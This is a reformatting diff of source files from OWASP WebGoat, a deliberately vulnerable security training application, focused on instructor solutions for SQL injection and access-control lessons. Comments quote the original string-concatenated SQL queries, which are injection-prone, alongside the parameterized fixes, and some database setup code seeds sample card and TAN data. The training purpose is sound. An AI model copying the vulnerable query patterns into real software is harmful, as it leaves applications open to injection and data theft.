@ -94,10 +91,10 @@ public class UpdateProfile_i extends UpdateProfile
{ {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness // FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
@ -118,18 +115,16 @@ public class UpdateProfile_i extends UpdateProfile
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error updating employee profile" ); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error updating employee profile" ); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
else else
{ {

View File

@ -1,49 +1,41 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl; package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.ViewProfile; import org.owasp.webgoat.lessons.RoleBasedAccessControl.ViewProfile;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/* STAGE 4 FIXES
1. Find the code location where this flaw of directly retrieving the profile without data-level access control checking exists: /*
public void handleRequest( WebSession s ) * STAGE 4 FIXES 1. Find the code location where this flaw of directly retrieving the profile
{ * without data-level access control checking exists: public void handleRequest( WebSession s ) {
Employee employee = getEmployeeProfile(s, userId, employeeId); * Employee employee = getEmployeeProfile(s, userId, employeeId); } public Employee
} * getEmployeeProfile(WebSession s, int employeeId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int employeeId, int subjectUserId) throws UnauthorizedException { * { return getEmployeeProfile(s, employeeId, subjectUserId); } 2. The solution requires a
return getEmployeeProfile(s, employeeId, subjectUserId); * data-level access control check to ensure the user has the rights to access the data they are
} * requesting. a. There is a common method you can take advantage of: isAuthorizedForEmployee(s,
2. The solution requires a data-level access control check to ensure the user has the rights to access the data they are requesting. * userId, subjectUserId) Either tell the student this exists or have them look in
a. There is a common method you can take advantage of: * DefaultLessonAction. Note that this is not required to implement data access control but is for
isAuthorizedForEmployee(s, userId, subjectUserId) * detection of violations. b. Uncomment the modified query retrieving the user data to have data
Either tell the student this exists or have them look in DefaultLessonAction. * access control String query =
Note that this is not required to implement data access control but is for detection of violations. * "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
b. Uncomment the modified query retrieving the user data to have data access control * "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; 3. Bundle
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + * the entire logic with this call and throw an unauthorized exception if
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; * (isAuthorizedForEmployee(s, userId, subjectUserId)) { ... //String query =
3. Bundle the entire logic with this call and throw an unauthorized exception * "SELECT * FROM employee WHERE userid = " + subjectUserId; String query =
if (isAuthorizedForEmployee(s, userId, subjectUserId)) * "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
{ ... * "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4
//String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; * - FIX ... } else { throw new UnauthorizedException(); } 4. Repeat stage 3 and note that the
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + * function fails with a "Not authorized" message. Adding the access check in the query is providing
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4 - FIX * data-level access control. The access check from isAuthorizedForEmployee is used to detect a
... * violation. The same logic could've been applied after the query but isAuthorizedForEmployee
} * provides a nice centralized abstraction of that logic.
else */
{
throw new UnauthorizedException();
}
4. Repeat stage 3 and note that the function fails with a "Not authorized" message.
Adding the access check in the query is providing data-level access control.
The access check from isAuthorizedForEmployee is used to detect a violation.
The same logic could've been applied after the query but isAuthorizedForEmployee provides a nice centralized abstraction of that logic.
*/
public class ViewProfile_i extends ViewProfile public class ViewProfile_i extends ViewProfile
{ {
@ -52,71 +44,65 @@ public class ViewProfile_i extends ViewProfile
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId)
throws UnauthorizedException
{ {
// Query the database to determine if the given employee is owned by the given user // Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
Employee profile = null; Employee profile = null;
// isAuthorizedForEmployee() allows us to determine authorization violations // isAuthorizedForEmployee() allows us to determine authorization violations
if (isAuthorizedForEmployee(s, userId, subjectUserId)) // STAGE 4 - (ALTERNATE) FIX if (isAuthorizedForEmployee(s, userId, subjectUserId)) // STAGE 4 - (ALTERNATE) FIX
{ {
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
//String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; // STAGE 4 - FIX // String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; // STAGE
// 4 - FIX
// Switch to this query to add Data Access Control // Switch to this query to add Data Access Control
// //
// Join employee and ownership to get all valid record combinations // Join employee and ownership to get all valid record combinations
// - qualify on ownership.employer_id to see only the current userId records // - qualify on ownership.employer_id to see only the current userId records
// - qualify on ownership.employee_id to see the current selected employee profile // - qualify on ownership.employee_id to see the current selected employee profile
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE
// 4
// -
// FIX
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4 - FIX
try try
{ {
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement answer_statement = WebSession.getConnection(s)
ResultSet answer_results = answer_statement.executeQuery( query ); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee( profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getInt("userid"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("first_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("last_name"), .getString("address1"), answer_results.getString("address2"), answer_results
answer_results.getString("ssn"), .getInt("manager"), answer_results.getString("start_date"), answer_results
answer_results.getString("title"), .getInt("salary"), answer_results.getString("ccn"), answer_results
answer_results.getString("phone"), .getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("address1"), answer_results.getString("disciplined_notes"), answer_results
answer_results.getString("address2"), .getString("personal_description"));
answer_results.getInt("manager"), /*
answer_results.getString("start_date"), * System.out.println("Retrieved employee from db: " +
answer_results.getInt("salary"), * profile.getFirstName() + " " + profile.getLastName() + " (" +
answer_results.getString("ccn"), * profile.getId() + ")");
answer_results.getInt("ccn_limit"), */}
answer_results.getString("disciplined_date"), } catch (SQLException sqle)
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
@ -124,8 +110,8 @@ public class ViewProfile_i extends ViewProfile
{ {
throw new UnauthorizedException(); // STAGE 4 - ALTERNATE FIX throw new UnauthorizedException(); // STAGE 4 - ALTERNATE FIX
} }
return profile; return profile;
} }
} }

View File

@ -1,34 +1,28 @@
package org.owasp.webgoat.lessons.instructor.SQLInjection; package org.owasp.webgoat.lessons.instructor.SQLInjection;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.SQLInjection.Login; import org.owasp.webgoat.lessons.SQLInjection.Login;
import org.owasp.webgoat.lessons.SQLInjection.SQLInjection; import org.owasp.webgoat.lessons.SQLInjection.SQLInjection;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*
Solution Summary: Edit Login.java and change login().
Modify login() with lines denoted by // STAGE 2 - FIX.
Solution Steps:
1. Change dynamic query to parameterized query.
a. Replace the dynamic varaibles with the "?"
String query = "SELECT * FROM employee WHERE userid = ? and password = ?"
b. Create a preparedStatement using the new query
PreparedStatement answer_statement = SQLInjection.getConnection(s).prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
c. Set the values of the parameterized query /*
answer_statement.setString(1, userId); // STAGE 2 - FIX * Solution Summary: Edit Login.java and change login(). Modify login() with lines denoted by //
answer_statement.setString(2, password); // STAGE 2 - FIX * STAGE 2 - FIX. Solution Steps: 1. Change dynamic query to parameterized query. a. Replace the
* dynamic varaibles with the "?" String query =
d. Execute the preparedStatement * "SELECT * FROM employee WHERE userid = ? and password = ?" b. Create a preparedStatement using
ResultSet answer_results = answer_statement.executeQuery(); * the new query PreparedStatement answer_statement =
*/ * SQLInjection.getConnection(s).prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE,
* ResultSet.CONCUR_READ_ONLY ); c. Set the values of the parameterized query
* answer_statement.setString(1, userId); // STAGE 2 - FIX answer_statement.setString(2, password);
* // STAGE 2 - FIX d. Execute the preparedStatement ResultSet answer_results =
* answer_statement.executeQuery();
*/
public class Login_i extends Login public class Login_i extends Login
{ {
@ -39,17 +33,21 @@ public class Login_i extends Login
public boolean login(WebSession s, String userId, String password) public boolean login(WebSession s, String userId, String password)
{ {
//System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
boolean authenticated = false; boolean authenticated = false;
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; // STAGE 2 - FIX String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; // STAGE 2 -
// FIX
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, PreparedStatement answer_statement = WebSession.getConnection(s)
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); // STAGE 2 - FIX .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); // STAGE
// 2
// -
// FIX
answer_statement.setString(1, userId); // STAGE 2 - FIX answer_statement.setString(1, userId); // STAGE 2 - FIX
answer_statement.setString(2, password); // STAGE 2 - FIX answer_statement.setString(2, password); // STAGE 2 - FIX
ResultSet answer_results = answer_statement.executeQuery(); // STAGE 2 - FIX ResultSet answer_results = answer_statement.executeQuery(); // STAGE 2 - FIX
@ -60,21 +58,19 @@ public class Login_i extends Login
authenticated = true; authenticated = true;
} }
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error logging in" ); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error logging in" ); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
} }
//System.out.println("Lesson login result: " + authenticated); // System.out.println("Lesson login result: " + authenticated);
return authenticated; return authenticated;
} }
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.SQLInjection; package org.owasp.webgoat.lessons.instructor.SQLInjection;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.SQLInjection.ViewProfile; import org.owasp.webgoat.lessons.SQLInjection.ViewProfile;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -11,32 +11,24 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/* /*
Solution Summary: Edit ViewProfile.java and change getEmployeeProfile(). * Solution Summary: Edit ViewProfile.java and change getEmployeeProfile(). Modify
Modify getEmployeeProfile() with lines denoted by // STAGE 4 - FIX. * getEmployeeProfile() with lines denoted by // STAGE 4 - FIX. Solution Steps: 1. Change dynamic
* query to parameterized query. a. Replace the dynamic variables with the "?" Old: String query =
Solution Steps: * "SELECT employee.* " +
1. Change dynamic query to parameterized query. * "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
a. Replace the dynamic variables with the "?" * "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; New:
Old: String query = "SELECT employee.* " + * String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + * "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; * "ownership.employer_id = ? and ownership.employee_id = ?"; b. Create a preparedStatement using
* the new query PreparedStatement answer_statement =
New: String query = "SELECT employee.* " + * SQLInjection.getConnection(s).prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE,
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + * ResultSet.CONCUR_READ_ONLY ); c. Set the values of the parameterized query
"ownership.employer_id = ? and ownership.employee_id = ?"; * answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX answer_statement.setInt(2,
* Integer.parseInt(subjectUserId)); // STAGE 4 - FIX d. Execute the preparedStatement ResultSet
b. Create a preparedStatement using the new query * answer_results = answer_statement.executeQuery();
PreparedStatement answer_statement = SQLInjection.getConnection(s).prepareStatement( */
query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
c. Set the values of the parameterized query
answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX
answer_statement.setInt(2, Integer.parseInt(subjectUserId)); // STAGE 4 - FIX
d. Execute the preparedStatement
ResultSet answer_results = answer_statement.executeQuery();
*/
public class ViewProfile_i extends ViewProfile public class ViewProfile_i extends ViewProfile
{ {
@ -45,65 +37,57 @@ public class ViewProfile_i extends ViewProfile
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user // Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null; Employee profile = null;
try try
{ {
String query = "SELECT employee.* " + String query = "SELECT employee.* "
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
"ownership.employer_id = ? and ownership.employee_id = ?"; + "ownership.employer_id = ? and ownership.employee_id = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, PreparedStatement answer_statement = WebSession.getConnection(s)
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); // STAGE 4 - FIX .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); // STAGE
// 4
// -
// FIX
answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX
answer_statement.setInt(2, Integer.parseInt(subjectUserId)); // STAGE 4 - FIX answer_statement.setInt(2, Integer.parseInt(subjectUserId)); // STAGE 4 - FIX
ResultSet answer_results = answer_statement.executeQuery(); // STAGE 4 - FIX ResultSet answer_results = answer_statement.executeQuery(); // STAGE 4 - FIX
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee( profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getInt("userid"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("first_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("last_name"), .getString("address1"), answer_results.getString("address2"), answer_results
answer_results.getString("ssn"), .getInt("manager"), answer_results.getString("start_date"), answer_results
answer_results.getString("title"), .getInt("salary"), answer_results.getString("ccn"), answer_results
answer_results.getString("phone"), .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
answer_results.getString("address1"), .getString("disciplined_notes"), answer_results.getString("personal_description"));
answer_results.getString("address2"), /*
answer_results.getInt("manager"), * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
answer_results.getString("start_date"), * " " + profile.getLastName() + " (" + profile.getId() + ")");
answer_results.getInt("salary"), */}
answer_results.getString("ccn"), } catch (SQLException sqle)
answer_results.getInt("ccn_limit"),
answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -66,7 +66,8 @@ public class CreateDB
try try
{ {
String createTableStatement = "CREATE TABLE messages (" + "num int not null," + "title varchar(50)," String createTableStatement = "CREATE TABLE messages (" + "num int not null," + "title varchar(50),"
+ "message varchar(200)," + "user_name varchar(50) not null, " + "lesson_type varchar(50) not null" + ")"; + "message varchar(200)," + "user_name varchar(50) not null, " + "lesson_type varchar(50) not null"
+ ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} catch (SQLException e) } catch (SQLException e)
{ {
@ -235,7 +236,7 @@ public class CreateDB
statement.executeUpdate(insertData11); statement.executeUpdate(insertData11);
statement.executeUpdate(insertData12); statement.executeUpdate(insertData12);
statement.executeUpdate(insertData13); statement.executeUpdate(insertData13);
} }
private void createLoginTable(Connection connection) throws SQLException private void createLoginTable(Connection connection) throws SQLException
@ -316,9 +317,10 @@ public class CreateDB
statement.executeUpdate(insertData5); statement.executeUpdate(insertData5);
statement.executeUpdate(insertData6); statement.executeUpdate(insertData6);
} }
/** /**
* Create users whith tans * Create users whith tans
*
* @param connection * @param connection
* @throws SQLException * @throws SQLException
*/ */
@ -341,7 +343,8 @@ public class CreateDB
{ {
String createTableStatement = "CREATE TABLE user_data_tan (" + "userid int not null," String createTableStatement = "CREATE TABLE user_data_tan (" + "userid int not null,"
+ "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30)," + "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30),"
+ "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int," + "password varchar(20)" +")"; + "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int," + "password varchar(20)"
+ ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} catch (SQLException e) } catch (SQLException e)
{ {
@ -358,9 +361,10 @@ public class CreateDB
statement.executeUpdate(insertData2); statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3); statement.executeUpdate(insertData3);
} }
/** /**
* Create the Table for the tans * Create the Table for the tans
*
* @param connection * @param connection
* @throws SQLException * @throws SQLException
*/ */
@ -381,8 +385,8 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE tan (" + "userid int not null," String createTableStatement = "CREATE TABLE tan (" + "userid int not null," + "tanNr int," + "tanValue int"
+ "tanNr int," + "tanValue int" + ")"; + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} catch (SQLException e) } catch (SQLException e)
{ {
@ -396,14 +400,13 @@ public class CreateDB
String insertData3 = "INSERT INTO tan VALUES (101,3,18794)"; String insertData3 = "INSERT INTO tan VALUES (101,3,18794)";
String insertData4 = "INSERT INTO tan VALUES (101,4,1564)"; String insertData4 = "INSERT INTO tan VALUES (101,4,1564)";
String insertData5 = "INSERT INTO tan VALUES (101,5,45751)"; String insertData5 = "INSERT INTO tan VALUES (101,5,45751)";
String insertData6 = "INSERT INTO tan VALUES (102,1,15648)"; String insertData6 = "INSERT INTO tan VALUES (102,1,15648)";
String insertData7 = "INSERT INTO tan VALUES (102,2,92156)"; String insertData7 = "INSERT INTO tan VALUES (102,2,92156)";
String insertData8 = "INSERT INTO tan VALUES (102,3,4879)"; String insertData8 = "INSERT INTO tan VALUES (102,3,4879)";
String insertData9 = "INSERT INTO tan VALUES (102,4,9458)"; String insertData9 = "INSERT INTO tan VALUES (102,4,9458)";
String insertData10 = "INSERT INTO tan VALUES (102,5,4879)"; String insertData10 = "INSERT INTO tan VALUES (102,5,4879)";
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2); statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3); statement.executeUpdate(insertData3);
@ -450,8 +453,8 @@ public class CreateDB
+ "ssn VARCHAR(12)," + "password VARCHAR(10)," + "title VARCHAR(20)," + "phone VARCHAR(13)," + "ssn VARCHAR(12)," + "password VARCHAR(10)," + "title VARCHAR(20)," + "phone VARCHAR(13),"
+ "address1 VARCHAR(80)," + "address2 VARCHAR(80)," + "manager INT," + "start_date CHAR(8)," + "address1 VARCHAR(80)," + "address2 VARCHAR(80)," + "manager INT," + "start_date CHAR(8),"
+ "salary INT," + "ccn VARCHAR(30)," + "ccn_limit INT," + "email VARCHAR(30)," // reason + "salary INT," + "ccn VARCHAR(30)," + "ccn_limit INT," + "email VARCHAR(30)," // reason
// for // for
// the // the
// recent write-up // recent write-up
+ "disciplined_date CHAR(8)," // date of write up, NA otherwise + "disciplined_date CHAR(8)," // date of write up, NA otherwise
+ "disciplined_notes VARCHAR(60)," // reason for the recent write-up + "disciplined_notes VARCHAR(60)," // reason for the recent write-up

View File

@ -927,7 +927,8 @@ public class ParameterParser
// Validates format for major brands of credit card. // Validates format for major brands of credit card.
// private static final String CCNREGEX = // private static final String CCNREGEX =
// "^(?:(?<Visa>4\\d{3})|(?<Mastercard>5[1-5]\\d{2})|(?<Discover>6011)|(?<DinersClub>(?:3[68]\\d{2})|(?:30[0-5]\\d))|(?<AmericanExpress>3[47]\\d{2}))([ // "^(?:(?<Visa>4\\d{3})|(?<Mastercard>5[1-5]\\d{2})|(?<Discover>6011)|(?<DinersClub>(?:3[68]\\d{2})|(?:30[0-5]\\d))|(?<AmericanExpress>3[47]\\d{2}))([
// -]?)(?(DinersClub)(?:\\d{6}\\1\\d{4})|(?(AmericanExpress)(?:\\d{6}\\1\\d{5})|(?:\\d{4}\\1\\d{4}\\1\\d{4})))$"; //-]?)(?(DinersClub)(?:\\d{6}\\1\\d{4})|(?(AmericanExpress)(?:\\d{6}\\1\\d{5})|(?:\\d{4}\\1\\d{4
// }\\1\\d{4})))$";
private static final String CCNREGEX = "^\\d{16}$"; private static final String CCNREGEX = "^\\d{16}$";
private static final Pattern Ccnpattern = Pattern.compile(CCNREGEX); private static final Pattern Ccnpattern = Pattern.compile(CCNREGEX);

View File

@ -168,7 +168,7 @@ public class WebSession
private boolean isColor = false; private boolean isColor = false;
private boolean isDebug = false; private boolean isDebug = false;
private boolean hasHackedHackableAdmin = false; private boolean hasHackedHackableAdmin = false;
private StringBuffer message = new StringBuffer(""); private StringBuffer message = new StringBuffer("");
@ -456,10 +456,10 @@ public class WebSession
if (showCookies()) cookies = Arrays.asList(request.getCookies()); if (showCookies()) cookies = Arrays.asList(request.getCookies());
/* /*
* List cookies = new Vector(); HttpServletRequest request = getRequest(); Cookie[] cookies = * List cookies = new Vector(); HttpServletRequest request = getRequest(); Cookie[] cookies
* request.getCookies(); if ( cookies.length == 0 ) { list.addElement( new LI( "No Cookies" ) ); } * = request.getCookies(); if ( cookies.length == 0 ) { list.addElement( new LI(
* for ( int i = 0; i < cookies.length; i++ ) { Cookie cookie = cookies[i]; * "No Cookies" ) ); } for ( int i = 0; i < cookies.length; i++ ) { Cookie cookie =
* cookies.add(cookie); //list.addElement( new LI( cookie.getName() + " -> " + * cookies[i]; cookies.add(cookie); //list.addElement( new LI( cookie.getName() + " -> " +
* cookie.getValue() ) ); } * cookie.getValue() ) ); }
*/ */
@ -1004,8 +1004,8 @@ public class WebSession
} }
/** /**
* @param header - * @param header
* request header value to return * - request header value to return
* @return * @return
*/ */
public String getHeader(String header) public String getHeader(String header)

View File

@ -67,7 +67,7 @@ public class WebgoatContext
private boolean codingExercises = false; private boolean codingExercises = false;
private String feedbackAddress = "webgoat@owasp.org"; private String feedbackAddress = "webgoat@owasp.org";
private String feedbackAddressHTML = "<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>"; private String feedbackAddressHTML = "<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>";
private boolean isDebug = false; private boolean isDebug = false;
@ -92,7 +92,8 @@ public class WebgoatContext
defuseOSCommands = "true".equals(getParameter(servlet, DEFUSEOSCOMMANDS)); defuseOSCommands = "true".equals(getParameter(servlet, DEFUSEOSCOMMANDS));
enterprise = "true".equals(getParameter(servlet, ENTERPRISE)); enterprise = "true".equals(getParameter(servlet, ENTERPRISE));
codingExercises = "true".equals(getParameter(servlet, CODING_EXERCISES)); codingExercises = "true".equals(getParameter(servlet, CODING_EXERCISES));
feedbackAddressHTML = getParameter(servlet, FEEDBACK_ADDRESS_HTML) != null ? getParameter(servlet, FEEDBACK_ADDRESS_HTML) feedbackAddressHTML = getParameter(servlet, FEEDBACK_ADDRESS_HTML) != null ? getParameter(servlet,
FEEDBACK_ADDRESS_HTML)
: feedbackAddressHTML; : feedbackAddressHTML;
feedbackAddress = getParameter(servlet, FEEDBACK_ADDRESS) != null ? getParameter(servlet, FEEDBACK_ADDRESS) feedbackAddress = getParameter(servlet, FEEDBACK_ADDRESS) != null ? getParameter(servlet, FEEDBACK_ADDRESS)
: feedbackAddress; : feedbackAddress;

View File

@ -129,9 +129,9 @@ public class HtmlEncoder
* <p> * <p>
* *
* e.g. <tt>"bread" & "butter"</tt> => <tt>&amp;quot;bread&amp;quot; &amp;amp; * e.g. <tt>"bread" & "butter"</tt> => <tt>&amp;quot;bread&amp;quot; &amp;amp;
* &amp;quot;butter&amp;quot;</tt> . * &amp;quot;butter&amp;quot;</tt> . Update: supports nearly all HTML entities, including funky
* Update: supports nearly all HTML entities, including funky accents. See the source code for * accents. See the source code for more detail. Adapted from
* more detail. Adapted from http://www.purpletech.com/code/src/com/purpletech/util/Utils.java. * http://www.purpletech.com/code/src/com/purpletech/util/Utils.java.
* *
* @param s1 * @param s1
* Description of the Parameter * Description of the Parameter

View File

@ -59,7 +59,6 @@ public class Interceptor implements Filter
/* /*
* (non-Javadoc) * (non-Javadoc)
*
* @see javax.servlet.Filter#destroy() * @see javax.servlet.Filter#destroy()
*/ */
public void destroy() public void destroy()
@ -133,7 +132,6 @@ public class Interceptor implements Filter
/* /*
* (non-Javadoc) * (non-Javadoc)
*
* @see javax.servlet.Filter#init(javax.servlet.FilterConfig) * @see javax.servlet.Filter#init(javax.servlet.FilterConfig)
*/ */
public void init(FilterConfig arg0) throws ServletException public void init(FilterConfig arg0) throws ServletException